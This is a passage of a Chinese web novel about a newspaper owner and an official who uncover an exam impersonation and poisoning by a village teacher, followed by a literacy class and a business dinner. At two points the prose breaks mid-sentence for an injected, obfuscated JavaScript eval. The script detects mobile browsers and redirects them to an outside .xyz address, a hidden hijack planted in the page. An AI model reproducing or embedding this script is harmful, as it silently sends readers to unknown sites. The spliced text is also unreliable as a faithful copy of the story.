清源村距京城中心有八十余里，五人一大清早就踏上行程，待几辆马车行至村口时，已是黄昏时分。 马车的速度逐渐放缓，最后停了下来。前方的路太窄，马车不方便通行，于是几人下车步行。 孟允抒踩到地面上，环顾着四周的环境。清源村本就是个人口密集的大型村落，周边还有不少零散的小村庄挤在一起，村里的道路错综复杂，他们当前并不知道柳玉成的详细住址，要找到他还得花上一番功夫。 她看看村口的那户人家，篱笆圈起一片空地，房前的台阶上坐着一个半大少年和一个小女孩，男孩十四岁左右的模样，女孩看上去只有八九岁，两人正在说着些什么。 孟允抒对许昭说道：“我们去问问，看他们是否知晓柳玉成住在何处。” 许昭点头应允，当孟允抒靠近篱笆时才发现，那女孩手里捧着本书，男孩则拿着根木棍在地上写写画画，像是在给她讲解算术题。 她在门前停下脚步，露出和善的微笑：“小兄弟，还有那位小姑娘，请问柳玉成是你们村里的人吗？” 两个孩子闻声都抬起头来，男孩站起身，将女孩护在身后，向她打了个噤声的手势，警惕地盯着他们。 他并未回答孟允抒的问题，反问她道：“你们是什么人？” 今日为了路上方便，许昭等人未着官服，旁人不能像往常一样从他们的打扮上认出其官员身份。 这两个孩子不是城里人，他们应当没有听过报社的名号，孟允抒觉得她的身份解释起来太麻烦，干脆把许昭推了出去：“这位是刑部郎中许大人，我们四人都是他的随从。” 男孩闻言，将目光从他们五人的脸上依次扫过，当他再次看向许昭时，眼神中带上了几分敬畏。 孟允抒要的就是这个效果。她方才这句话把许昭的形象衬托得无比伟岸，威风八面。 许昭只能就坡下驴，学着孟允抒的样子打起官腔来：“今日我来村中寻找柳玉成，想要让他助我查明一桩冤案。我有腰牌为证。” 许昭上前一步，将腰牌递给男孩。 对方显然分辨不出腰牌的真伪，他装模做样地浏览了一遍腰牌上的各种信息，将信将疑地问道：“你们要找柳先生？” “对。”孟允抒点头，“你认识他？” “嗯。”男孩的语气坚定，充满自豪，“柳先生是我们村里的教书先生，他是个好人。如果有冤案需要平反，他肯定会鼎力相助。” 陈暄听到这话突然露出一个笑容，但那笑容中满是讥讽。 男孩没察觉出陈暄笑容中的古怪，他看了看村里来来往往的行人，像是在估量自己接下来行动的安全性。而后他开口说道：“村里的路不好走，我带你们去吧。” 孟允抒喜出望外，向男孩连连道谢。 男孩叮嘱小女孩看好家，锁上大门在前方带路。孟允抒跟在他身后，和他聊起了闲话：“她是你妹妹吗？” “对。” 孟允抒又问了他几个问题，但男孩似乎有心防备着他们，每个回答都十分简短。 “我方才看到你和你妹妹在地上写字，你们都在那位柳先生的私塾中念书？” 得到男孩的肯定答复后，孟允抒看向许昭。 他的神情和孟允抒一样，向男孩投来惊异的一瞥。 在胤朝，平民阶层的读书人本就是少数，女子念书更是贵族小姐的特权。乡野间的女童捧着书看，简直可谓一大奇观。 孟允抒不动声色地说道：“小兄弟，我无意冒犯你，但我实在疑惑。我见你们的家境并不算富裕，你们爹娘居然愿意供你们兄妹二人一同读书？” “并非如此。当初我念书时就经历了许多波折，到我妹妹那里更是如此。”男孩第一次说了个长句，“所以我才说柳先生是个好人。” 他抬起头，盯着远方的地 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男孩向他们讲述着书院的概况：“平日里先生们都在前庭授课，后院是他们的居所。中庭里有藏书阁，我们可以从中借阅各种典籍。” 他带五人走进前院，指着东边的那处房间对他们说道：“半个时辰前我们就已经散学，但柳先生通常会在惜时堂中多坐一会，在课后为我们答疑解惑。” 在他的指引下，孟允抒拾阶而上，随他进了屋子。 她此前已经见过柳玉成的画像，因此一眼便认出了他。柳玉成正坐在惜时堂的最前方，左右围着六七个学生，认真聆听着他的教诲。 “柳先生，这几位大人有事寻你。” 柳玉成周围的学生听到男孩的话纷纷转头，而后自觉地为柳玉成让开一条通路，好让他能看清楚来人的样貌。 当柳玉成的目光落到陈暄脸上时，他眉头微蹙：“你竟然一直寻到了这里。” 陈暄一个箭步冲上前去，当即就要发作，所幸许昭及时拦住了他。 “你要干什么？” 几个学生挡住陈暄，他们对眼前的状况一无所知，却肩并肩地站成一排，用身体护住柳玉成。 “抱歉，他向来有些冲动，我们并无恶意。”许昭令两名下属拉住许昭，又拿出自己的腰牌自证身份。 趁着许昭向柳玉成解释详情，孟允抒扫了眼这间学堂的环境。 屋内摆着三十张杉木书案，案头的笔墨纸砚一应俱全。这样看来，学生来上课时只需要带上书本即可，连文具都不需要自备。 柳玉成听许昭说完大致情况，又看了他的腰牌，语气和缓地遣散堂内的学生：“放心，他们是官府中的大人，没有恶意。你们几个先回家，有问题的话明日再与我讨论。” 几个学生踌躇了一会，在柳玉成的再三劝说下陆续离开。随后，柳玉成起身向孟允抒等人行了一礼，请他们换个地方说话。 “既然几位大人有要事在身，那就请随我到正厅详谈。” 26. 寒士欢颜 几人进了正厅在桌边落座，柳玉成关上大门，为他们倒了茶，看看陈暄说道：“几位可是为陈修远一案而来？” “是，却也不全是。” 孟允抒抿了口茶水，看似漫不经心地说起一个与案件无关的话题：“我见明德书院窗明几净，器具齐全，陈设整洁，恐怕得花上一大笔钱，柳先生真是宅心仁厚。” “孟社长谬赞了，明德书院并非由我出资建成。”柳玉成自谦地笑笑，“清源村的村民很多，孩童却没有就近读书的地方。几年前一些大家和乡绅慷慨解囊，共同修建了这所书院。” 柳玉成的回答显然是避重就轻。在来书院的路上，孟允抒一行人已经向男孩了解其详情，起初明德书院的确是由几名富人出资设立，但两年后他们就对其撒手不管，是柳玉成和其余几名先生接手书院，靠着自掏腰包苦苦支撑。 “我幼时也是在村中的私塾念书。若是没有那些先生的教诲，我也不可能在科考中崭露头角。所以我尊称您一句‘柳先生’。” 许昭盯了一会面前的茶水，他抬起头问柳玉成：“我想知道，您学识渊博，为何不通过科举入仕大展宏图，却宁愿待在这方寸之地？” “因为我从很早以前就立志要当教书先生。”柳玉成不假思索地回答。 接着，他详细讲述了他作出这一决定的原因。 “清源村是生我养我的地方，我自幼在此处长大。我亲眼见到邻居家不到十岁的女童被卖给他人做陪房，也听闻去大户人家中做小厮的男孩被雇主活活打死，随便找个地方草草一埋。” 柳玉成的声音低哑。 “有年村里的庄稼收成不好，我和几个识字的好友去京城买了农书和农具，想要改进劳作的方法，但村民们拿到农具后没过两天就将它们转手卖了出去，用换来的银子饱餐一顿，又继续过穷困潦倒的生活。” 柳玉成握紧双拳，将指节攥得发白。 “我想让他们活得像个人，能够思考，明辨是非，而不是成为被人操纵的傀儡，任人驱使的牛马，浑浑噩噩地苟活于世。” “说得倒是好听。” 陈暄猛地站起，由于他的动作幅度过大，椅子随着他起身的动作轰然倒地，发出一声巨响。 孟允抒发现，不知何时，陈暄已经是泪流满面。 他的声音饱含痛苦与愤怒。 “你将那些孩童从蒙昧中唤醒，可然后呢？让他们蒙受冤屈，遭遇不公？”陈暄拍着桌子大吼，“要像修远那般寒窗苦读十几载，终于出人头地却含冤而死，还是被你这样的替考者从金榜上生生挤掉，让那些纨绔子弟不费吹灰之力就加官进爵？” 面对他突如其来的质问，柳玉成没有防备，他惊恐万状地看向陈暄：“你在说什么？” “我已经从贡院中找出了你的答卷，也找到方知瑜本人问过话。”许昭替陈暄作出回答，“柳先生，念及你的善举，我不想直接将你带走刑讯逼供。还请你主动将代替方知瑜参与科考之事、陈修远一案的内情如实道来。这样一来，给你的判罚或许还能轻些。” 听到许昭的话，柳玉成脸上的错愕逐渐消散。他没有反抗，只是平静地靠在椅背上。 柳玉成沉默良久，缓缓地说了一句话。 “这一天终于来了。” 他长舒一口气，如释重负般地看向许昭。 “许大人，我会将实情全部告知于你。” 许昭叫下属拿来笔墨纸砚，将其分发给除陈暄以外的三人，示意柳玉成开口。 他沉思片刻，像是在回忆事情的来龙去脉，寻找一个切入点。 “方知瑜的父亲是个富商，各位大人应当略有耳闻。只是方家虽有家财万贯，却无人在朝为官。” 且不论世人公认的“士农工商”的阶层排序，一个富商要想走得长远，将家产代代相传，就需要家中有人在官场中立足。 尽管他们已经是锦衣玉食，却也不会放弃蝇头小利。即使方知瑜只能做个芝麻小官，对他们来说也是锦上添花。 “方知瑜被全家人寄予厚望，但他平日游手好闲，不喜念书，根本不可能在科考中取得名次。因此，他们四下打听，看有无合适人选替他考试。方家的一名家丁与我相识，他将消息透露给我，言说我若是能帮方知瑜做成此事，方家人将会以重金相谢。” 柳玉成低下头。 “如你们所见，运营明德书院的开支不小，村中又有许多孩童付不起学费，先生们也需要钱财生活。方家出手阔绰，我刚应承下此事，他们就给了我二百两银子。方家人告诉我，他们会打点好一切，只需要我报上方知瑜的名号，直接去考试即可。” 柳玉成停顿片刻，叹了口气。 “考试进行得十分顺利，临近会试时，为方便赶考，我暂时在城中落脚居住。那日我在书肆中与修远相逢，他对我一见如故，非要让我将姓名与住址告诉他。我挣脱不得就只能照做。” “会试结束后，修远曾请我一同吃饭，替我惋惜许久，说以我的学识不可能落榜。我当时并未听出他的弦外之音。” 孟允抒的笔尖一顿，抬眼看向柳玉成。 “直至殿试放榜，修远又来找我，质问我为何要帮助他人舞弊。这时我才知道，他曾与我在同一地点参加会试，无意中听到我用的是‘方知瑜’的名号。后来在殿试中，他确定了我是替方知瑜参加考试。” 柳玉成不敢直视陈暄的双眼，只能将头深深埋下。 “修远性情直爽，为人坦荡，无论我如何解释或劝说，他都不肯饶恕我，一定要让我主动向官府认罪。但我好不容易走到这一步，眼看着我就能用方家给我的钱财贴补书院，我绝不能让这个目标毁于一旦。” 陈暄几乎马上就要扑向柳玉成，许昭死命地按住他，让他冷静。 “所以，我将此事告诉了方知瑜，和他商讨应对之策。他担心事情败露，于是提出了一个计划。” 柳玉成痛苦地闭上双眼。 “方知瑜让我约修远出来吃饭，事先在酒中下毒。若我能与他谈和，就可以放他一马；若是不成……” 他没有将这句话说完。 “总之，方知瑜已经做好了两手准备，会为此事兜底。他只需要我动手。起初我并不同意，方知瑜威胁我，既然如此就做好与修远一同丧命的准备。我别无选择，最终只得应允。” 柳玉成又讲了案发后他的所作所为，与潘掌柜所述一致。 “解决此事后，我尽快搬离了城中，回到清源村。可当我用钱填补书院的空缺后，我始终良心不安。” “我一面担心官府的追捕，一面害怕方家人会暗中谋害我。我不仅寝食难安，随便一个风吹草动都会让我心悸许久。” 他看向面前的五人。 “好在这一切都要结束了。我没有勇气主动认罪，但既然你们已经查出我的替考之事，我再挣扎也是徒劳，不如将真相和盘托出。” 末了，柳玉成看了看陈暄，向他致以深切的歉意。 “你说得没错。我做了这样见不得光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478274|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事，得了脏钱，即使这钱是用来帮助那些学童，我也已经在无形中为虎作伥。修远是个正直的人，我确实该给他偿命。” 许昭又向柳玉成询问了一些案件的细节及相关证据，他一一作答。 柳玉成对他的罪行供认不讳，听完他全部供述的这一刻，陈暄却没了先前的激动。 他想大骂柳玉成，可他张开嘴，最终也没能发出一点声音。 孟允抒收好面前的纸张，只觉得它重如千钧。 “许大人，在我走之前，容我再向其他先生交代些书院的相关事项。” 许昭答应了他的请求。 柳玉成办完事后，他伸出双手，示意许昭为他戴上枷锁。 “刑具是给恶人用的。”许昭语气平淡地说了一句，对两个下属说道，“带他走吧。” 一行人走出门外，方才的那几个学生还停留在书院外没有离开，他们见状迎上来问：“柳先生，您要去哪？” 柳玉成勉强挤出一个笑容：“这几位大人在查一桩冤案，需要我当堂作证。” 一名看起来很开朗的女孩看向孟允抒等人，满眼敬佩：“你们就是柳先生所说的‘清官’？” 孟允抒和许昭都默不作声，陈暄则点点头。 “真好。几位大人一定要平反冤屈，造福百姓。”她又看向柳玉成问，“先生，那您什么时候回来？” 在柳玉成决定先撒谎骗过这些学生时，许昭抢先作出了回答。 “等事情办完以后，他就会回来。” 这些学童一直跟着他们走到马车旁，注视着柳玉成上了车。 车夫拉起缰绳，车轮开始缓缓转动。 孟允抒撩起车帷，看向那几个孩子。 他们口中喊着“柳先生再见”，恋恋不舍地跟着马车往前跑，就像飞蛾追逐着火光。 孟允抒心中五味杂陈。她看向柳玉成，他只是低着头，一言不发。 她不知道他是在懊悔还是悲伤、担忧，又或许三者兼有。 柳玉成一经获罪，即使能保住性命，再回到书院恐怕也得几十年以后。他的赃款更不必说，肯定要尽数上缴。 为了维护公道，他们必须将柳玉成抓获归案，可这样一来，明德书院的孩童们前途堪忧，甚至还有许多人会失去读书的机会。 正确的做法却没能带来完美的结局。 许昭发觉车内的两人情绪低落，出言宽慰道：“柳先生，只要你在接下来的取证中积极配合，勇于揭发方知瑜的罪行，就能将功补过，减轻刑罚。” 他看向窗外，那几个孩童的身影已经被马车远远甩在后面，只留下几个模糊的小点。 “待我将这桩案子了结之后，我会上疏奏议，尽力请陛下为明德书院批下一笔专款。” 这话启发了孟允抒。 法不容情，柳玉成被定罪是板上钉钉的事，但他们或许可以用其他方式替柳玉成实现心愿。 她倏忽想起，昨日傍晚客流高峰时段，曾有一个妇女进来报社瞧热闹。当时秋盈曾问她是否需要买报，那女子尴尬地笑笑，说她不识字，只能听旁人念着小报上的新闻。 若她能在报社中定期开展免费课程，不但能提高民众的文化水平，同时也能让许多潜在受众能够读懂报纸，还能趁机推广他们报社的知名度，是一举三得的好事。 孟允抒有了新主意，心绪稍稍平静下来，向柳玉成投去敬佩与感激的目光。 柳玉成犯了大错，但不可否认，他的确是一位良师。 27. 营销 按照孟允抒的吩咐，店内的几个伙计将两块蒙着纸张的木板搬到采闻堂。 孟允抒指挥着他们将木板放到居中的位置：“再往右边挪一点，对。拉开两个木板之间的距离。” 胤朝没有黑板和粉笔，孟允抒就想了这么个办法，找来两块大木板，将白纸蒙在上面，用毛笔在上面写字时注意少蘸些墨，这样就可以实现类似现代社会的教学方式。 她走到采闻堂最后方，打量着两块木板，确认在此处也能看得见上面的文字。 在那两块木板当中，左边那张纸上已经写满了字，从《三字经》的第一页讲起，直至宣纸上写不下为止；另一张则是空白，供她根据课堂内容灵活调整。 排云兴冲冲地从门外快步走来，她身后还跟着两个身着素色衣衫的女子：“孟社长，她们是来参加识字会的。” 孟允抒热情地迎进两人，请她们落了座：“两位娘子请稍候片刻，待巳时一到，我们就开始授课。” 从回城后孟允抒就开始着手准备讲学事宜，她联想到曾经在现代书店见过的“读书会”活动，觉得这是个不错的营销手段，在传播文化的同时也能推销店内的商品。于是，她借鉴这种模式作了初步的计划和安排，对外放出报社要举办“识字会”的消息。 首次识字会将由她主讲，根据课程效果和反响再作调整。 两人向孟允抒道过谢，其中一人腼腆地笑了笑：“我夫君每日都要看报，案上堆满了纸张。我听他说，小报上有诸多奇闻轶事，我心生好奇，却因不识字而无法读懂其中内容。近日我曾听闻黎民报社中要举办识字会，故来洗耳恭听。” 孟允抒没和她们聊上几句，因为在她们之后又陆续来了不少人，孟允抒店内的伙计跑前跑后，忙着招呼来客。他们大多衣着简朴，不少人还穿着破破烂烂的草鞋，打眼一看就是最寻常不过的平民。众人来听课的理由也各不相同，有单纯前来瞧新鲜凑热闹的，有带着孩子来蒙学的，还有像那妇人与从前的排云一样，为了能够读书看报而学习识字的。 很快，采闻堂中就挤满了人，呈现出一派沸反盈天的景象。 当孟允抒再次折返回门口时，发现那里站着一个熟悉，但令她十分意外的身影。 她惊疑地看向陈暄。 “你怎么来了？” 陈暄尴尬地抹了下鼻子，装出一副打量采闻堂的样子：“我听闻你们报社要举办什么识字会，心生好奇，所以来看看。” 他踌躇了一下补充道：“你和许大人为修远申了冤，我感激不尽。你若是有什么需要帮忙的地方，就尽管开口。” “你先进来吧。”孟允抒带陈暄进了门，寻了个空处落脚。她觉得他的表现挺稀奇，忍俊不禁道：“平日你说话总是夹枪带棒的，这会来帮忙，反倒不好意思起来了。” 面对她的调侃，陈暄赶紧岔开话题问道：“这些人都是来参加识字会的？” 孟允抒回头望向满堂的来客，点了点头。 他沉默片刻，而后露出一个释然而苦涩的微笑。 “如此一来，他的心愿也算是实现了。” 孟允抒当然明白陈暄口中的“他”是指谁。 许昭押送柳玉成至刑部之后，陈暄就在第一时间给陈修远的家人写了信，向其告知案件真相，并联合他们写了谅解书，请求刑部官员对柳玉成宽大处理。 陈暄说，因为陈修远的死，他永远不会原谅柳玉成。 但是，他希望这世上能早日多出一位柳先生。 孟允抒看了看院中的那个滴漏，发觉时间差不多了。于是，她站到采闻堂最前方，高声维持纪律：“请诸位安静一下，识字会要开始了。” 她看向采闻堂后方乌泱泱的人头说道：“我们社中没有那么多椅子，辛苦后面的那些兄弟姐妹站着听讲。麻烦个头高的人往后站站，别挡着后面的人。” 除过她这个主讲人外，排云担任此次识字会的助教，还有另外一名伙计作为机动人员，加上陈暄这个志愿者，在几人的合作下，不多时堂内就安静下来。 管理好秩序后，孟允抒继续说道：“感谢诸位莅临黎民报社，参加此次识字会。我们再次承诺，识字会是由报社自发举办，不会向诸位收取任何费用。” 她扫视了一圈屋内的人。男女老少都仰起头，一齐向她投来目光。在这些目光当中，有的是困惑，有的是好奇，还有的是感激。 恍惚之间孟允抒仿佛看到，在他们身后，站着江芷兰，还有柳玉成。 虽然他们的身份、性格、际遇都截然不同，但他们共同构成了一个词汇。 “这就是‘人’。” 孟允抒指着木板上的第一个字说道。 她拆解着这个字的结构：“‘人’字由一撇一捺组成，它们彼此支撑，互相搀扶，构成了这样简单却和谐的字。” 将第一句话的每个字都单拎出来讲解后，孟允抒让大家齐声朗读一遍。 粗犷与轻柔的声音混在一起，沧桑的语调和着清脆的童声，将这句话拉得很长。 “人之初，性本善。性相近，□□——” 孟允抒解释起了句子的含义：“这句话的意思是说，人在刚出生时，本性都是善良的，性情也很相近。但由于后天的学习环境不同，每个人的习性就会产生差异。这就是学习和教育的重要性。” 事实上，孟允抒不信奉任何“性善论”或“性恶论”的观点，但要和眼前的这些民众讨论这些显然为时过早。他们甚至都不认得几个字，更遑论令他们进行哲学上的思辨。 然而，即使他们只能迈出小小的一步，那也是极为难得的成就。 第一次识字会圆满结束后，众人三三两两地离开，陈暄也随之告辞。临别前他告诉孟允抒，以后他若是有空，也可以充当主讲人的角色。 孟允抒低头整理着她在识字会上所用器具，门口突然响起一道热情洋溢的男声：“孟社长，您这会忙吗？” 孟允抒抬头看向那人，回忆了一下问道：“你是揽月阁的伙计？” “您真是好记性。” 他就是那个前些天被福临楼的两人刁难的店小二。 孟允抒和许昭查明陈修远一案后，揽月阁的嫌疑彻底被洗清，谣言也不攻自破。几日前潘掌柜为表感谢，一定要请他们吃饭。他盛情难却，最后两人就应了下来。 这会伙计来应该是替潘掌柜传话的。 “先前我们掌柜请您和许大人吃饭，本来定的时间是明日中午，但昨日揽月阁中突然来了其他几个店铺的掌柜。”这位伙计干多了跑堂的活，嘴皮子相当利索，“有永乐巷成衣店的胡掌柜、韵宁茶坊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秋盈和孟允抒调笑一会，复而正色道：“还有件事我想和你商量。有些客官住得离报社远，没有每日前来买报的空闲，所以我在考虑直接将报纸送到他们的指定地点。你若是同意，我就派人前去收集他们的信息，合理安排送报的路线。” 发展订报业务有助于增强读者粘性，一旦这些人成为黎民日报的老主顾，他们报社就能获得稳定的资金来源。 孟允抒发觉，秋盈现在愈发有职业女性的模样，整个人都不像从前那般循规拘礼。 “这主意不错，此事就交给你了。”孟允抒对秋盈的变化喜闻乐见，大力鼓励她放手去做，“你办事，我放心。” “行，那我就将此事分派下去了。” 秋盈离开后，孟允抒也带着收好的笔墨回到办公室。 她坐在椅子上喘了口气，又开始思索晚上面见那几位掌柜的事。 孟允抒好歹也是在职场上混过几年的人，姑且算得上伶牙俐齿，酒量也不错，倒是不担心和这些商人打交道。 唯一的不稳定因素是许昭。 孟允抒已经见识过许昭独特的社交方式，虽然不太礼貌，但为了报社的前途，她决定提前委婉地告诉许昭，让他在席间尽量少说话。 28. 商业合作 傍晚，孟允抒准时来到揽月阁，她的一只脚刚刚跨过门槛，顿时就被此起彼伏的笑声淹没。 胤朝没有宵禁，人们的夜生活相当丰富，此时的揽月阁中人满为患，热闹程度甚至远超白天。东边的舞台上，有乐师与舞女进行着歌舞表演；而在另一侧的角落中，说书人正讲述着前些天陈修远的案子，作为来客吃饭时的助兴节目。 那名说书人正讲到精彩处，不少食客纷纷放下手中的筷子凝神聆听。孟允抒对此场景十分满意。 前些天陈修远一案告破后，潘掌柜曾问孟允抒需要什么报酬，她就向潘掌柜提议合作，请揽月阁的说书人兼职唱报，讲述每日新闻头条，若有客官对其所讲的新闻感兴趣，可花上三文钱从说书人处购买小报。 孟允抒赶着去赴约，顾不上在此处驻足逗留，径直往楼梯的方向走。 尽管四周是一片喧嚣，眼尖的店小二依然马上发现了孟允抒，小跑着来到她身边，脸上堆满笑容：“孟社长，您可算来了，我们掌柜一直盼着您呢。请随我来。” 孟允抒跟着伙计来到二楼一处雅间，隔着门就能听见里面传来的高谈阔论。 她固然喜欢人多的地方，但上了一天的班，她一直没空休息，当前精力严重不足。现在四下都是吵吵嚷嚷的声音，孟允抒还没进去就已经感觉到头疼了。 没办法，要赚钱的嘛。 她拦住伙计推门的动作，先请他去忙，自己则通过门缝瞅了一眼屋内的情况。 屋内已经坐了八个人，只有许昭身边还有个空位，显然这座位是给她预留的。看来，所有宾客都已经到齐。 除此之外孟允抒发现，许昭在一群圆滑世故的商人中格格不入，他一言不发地靠在椅背上，神情恍惚，连眼睛中都没了光彩，像极了被迫营业的社畜。 看上去他还坐在桌边，实际上人已经走了有一会了。 许昭一开始并没有答应潘掌柜的邀请，但后来听说孟允抒要来赴约，担心她夜里一个人回家的安全问题，于是又改口同意。 真是难为他了。 为了给那些掌柜留下一个好印象，孟允抒调整好状态，摆出一副温柔可亲的微笑走了进去：“诸位掌柜抱歉，报社事务繁忙，我来迟了。” 桌上的人闻声暂时中止了谈话，纷纷向孟允抒起身行礼，潘掌柜对她笑道：“孟社长近日忙得抽不开身，我们都能够理解，快请坐。” 他所指的方向正是许昭旁边的那个椅子。 孟允抒坐到许昭身边，装模做样地问他：“许大人好久不见，你近来可好？” 许昭谨记孟允抒的提醒，冲她微微一笑，机械地背着台词，连点头的动作都变得僵硬：“多谢孟社长挂念，一切顺利。” 孟允抒不敢直视许昭的脸，生怕她一个忍不住会笑出声。于是她迅速结束了与许昭的对话，将目光投向对面，听潘掌柜向桌上的宾客介绍彼此的身份。 她应和着潘掌柜的介绍，余光瞥见许昭一反常态的神情。自从她坐到许昭旁边，他就突然来了精神，整个人都容光焕发起来，这会正兴致盎然地听他们说话，满脸都是喜气。 孟允抒不明白，她当初到底为什么会觉得许昭的心思难猜。 双方初步相识后，那名韵宁茶坊的杨掌柜率先举起酒杯笑道：“先前我从潘掌柜那里听到孟社长的名号与事迹，还以为社长是个刚强泼辣的人。今日有幸得见，孟社长竟是这般温婉灵秀的女子，着实令人意外。” 孟允抒觉得这人分明是笑里藏刀。 她听得出对方的不信任，话里话外都是对自己的试探。 孟允抒回敬给对方一个笑容，与他碰了杯。 “杨掌柜此言差矣。你我都是生意人，最忌讳以貌取人，掌柜与我相识不到一刻，只从外表上断定我的性情未免太过草率。” 说罢，她仰起脖子，一口将杯中的酒饮了个干净。 这酒名叫清波摇，气味香醇但入口浓烈，如利刃滚过喉咙，火辣辣的感觉从食道一直延伸至胃中。孟允抒凭直觉判断它的酒精度数不低。 潘掌柜见状出来打圆场：“这酒虽好，喝多了却会伤身。孟社长，小酌怡情。” “潘掌柜所言极是，只是这杯酒对我来说实在算不上什么。”孟允抒抬眼看向杨掌柜，“我看杨掌柜身材魁梧，照您的说法，饮这一坛也应当没有问题吧？” 听到孟允抒的回答，杨掌柜并未生气，与其他几人一同大笑起来：“我早就听闻孟社长口齿伶俐，今日一见果真名不虚传。” 在旁边目睹了全过程的许昭神情迷茫，看上去完全没理解他们在打什么哑谜，只能附和着众人一起尴尬地微笑。 孟允抒一早就知道，他们今日聚餐的本质是潘掌柜向她和许昭答谢，那些掌柜对此当然也心知肚明，胤朝人又讲究风雅，不可能在桌上做比酒量这种庸俗之事。 杨掌柜只是在判断她的行事风格，以此确定两人打交道的方式。 酒过三巡后，他们的关系愈发熟稔，孟允抒妙语连珠，桌上的人笑得前仰后合，免不了一番商业互吹。 其中，孟允抒听到最多的夸赞是“女中豪杰”。 她听到这句话时虽面色如常，内心却有些怅然。 胤朝毕竟还处在封建时代，相较男子来说，女子经商并不普遍，更别说经营管理整个店铺。他们的这句夸赞恰恰说明孟允抒的身份与行为罕见，可这本应是一件稀松平常的事情。 待桌上的酒菜都消失大半后，几人不再动筷，只是偶尔饮一口茶水。 开成衣店的胡掌柜放下茶杯，坐直身子笑道：“孟社长能将黎民日报销往京中各处，令报社的名号响彻整座京城，我实在佩服。今日通过潘掌柜的引荐，我们也与社长结交为好友，还望您多多关照。” 孟允抒听他这话就知道，这些人终于要和自己商量正事了。 “胡掌柜不必拘礼，你我都是朋友，自然该彼此照应。” 胡掌柜心里有了底，向孟允抒表明他的来意：“实不相瞒，近日我们店中的生意不大景气。先前我与店中伙计绘制出一批图纸，按照其样式做出新衣，但知情者并不多，也有许多人不曾了解其中所含的匠心，只有寥寥几人购买。” “因此，我想请孟社长为店中的新衣款式进行宣传介绍，吸引更多人来店中一探究竟。需要多少钱您尽管开口，一切都好商量。” 孟允抒等的就是这一刻，她按捺住心中的兴奋，装出一副云淡风轻的样子，显得她像是个见惯大场面的人，像是每天都能谈上千两银子的生意。 “胡掌柜所营成衣店享誉 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该说的话都已经说完，众位宾客纷纷应和杨掌柜的提议，互相施礼离席。潘掌柜看看醉醺醺的来宾，适时地说道：“诸位今日都喝了不少酒，不便独自回府。请各位稍等片刻，我叫伙计去备马，送你们回去。” 此时的孟允抒头脑发晕，却没到神智不清的地步，在潘掌柜起身的前一秒，她突然意识到一件事，连忙拦住他的动作。 “潘掌柜不必给我备马。” 她与许昭的声音撞在一起，潘掌柜疑惑地看向异口同声的两人：“为什么？” 孟允抒若是让揽月阁的伙计送她回去，她和许昭的关系就不言自明了。 她的借口信手拈来，脱口而出道：“我在房中闷得久了，想借着回府的这段路散散步，顺带醒一醒酒。” 许昭则说道：“我的府邸离此处不远，不出半个时辰就能到，不劳烦潘掌柜送我了。” 潘掌柜看了看孟允抒，不大放心地说：“孟社长胆识过人，但你终究只是个弱女子，又喝了酒，夜里行走多有不便，还是店中的让伙计送你回去吧。” 孟允抒推拒不得，她看看身边的许昭，又生一计。 她拉来许昭靠近潘掌柜，故作神秘地压低声音：“我有事要与许大人相商，他会与我同行。” 许昭想起孟允抒事先叮咛过他，在席间无论她说什么都要表示支持，于是附和着她点头。 “原来如此。”潘掌柜心下了然，喊来个伙计让他将孟允抒和许昭送至门外，自己则十分有眼力见地退了出去，为其他掌柜安排车马。 待两人将揽月阁的喧嚣远远甩在身后时，孟允抒这才放松下来，和许昭不约而同地长舒了一口气。 他们彼此对视了一眼，都被对方刚才装模做样的神情逗笑。 两人正沿着街道朝许府的方向走，许昭环顾四周，目光落在前方的小摊上：“你先在此处休息片刻，我去找辆马车。” “不必了。”这会丝丝缕缕的凉风吹散了孟允抒的酒气，让她觉得十分惬意，“我们已经走出去了不少路，现在离许府不远，不如直接步行回去。” 她看看许昭，忆及萧睿言给她传递的最新情报，对许昭笑道：“正好我有些话想问公子。” 29. 心意 随着孟允抒和许昭远离云锦天街，路上行人的身影逐渐稀疏，周遭的环境也愈发安静，只剩下两人踏在地上的脚步声，以及他们之间闲谈的絮语。 “傍晚时睿言曾来过报社一趟，说他曾见到几位官员和你争辩，你们吵得不可开交，但他并不知道内情。”孟允抒缓步向前，半是八卦半是关心许昭地问他，“你又在朝中做了什么事，惹得他们那样生气？” 孟允抒之所以用“又”这个字，实在是因为许昭在外面招惹的人太多了。要是哪天她听不到有官员来找许昭吵架，那她才会觉得奇怪。 提起此事，许昭也有些愤愤不平：“因为我在今日上朝时上疏奏议，戳了那些老顽固的痛处，他们觉得是我让他们颜面扫地，就来挑我的错处。” 萧睿言当前的品级不够，他只有在特殊情况下才去上朝，因此并不知道许昭今日在朝会中说了什么。 通过平日和许昭以及萧睿言的交流，孟允抒大致知晓胤朝当前的政局。他们当今的圣上是个仁君，政治能力算不上拔尖，手腕也并不强硬，但好在慧眼识珠，知人善任。为了富国强兵，解决前朝积累下来的种种问题，他广纳贤才，鼓励他们进谏，大刀阔斧地对各种政治制度进行变革。 因此，朝中官员大致可分为三种派别。许昭向来不参与站队，但从政治志愿上来讲，他属于变革派的一员，而他口中的“老顽固”就是那些保守派的成员。 其余的大多数人则是萧睿言口中的中立派。 孟允抒好奇道：“你和陛下提了什么改制的建议，居然能令这些大臣大发雷霆？” “这些建议我已思虑许久，眼下才得来良机。” 许昭讲起了他上疏的原委。 “如今陈修远一案已经尘埃落定，此案的经过与内情并不复杂，可其中牵涉的人员众多，也暴露出现行教育与科举选官制度的诸多弊端。相较于富家子弟，寒门学子要想通过勤学苦读而登科入士，简直难如登天。” 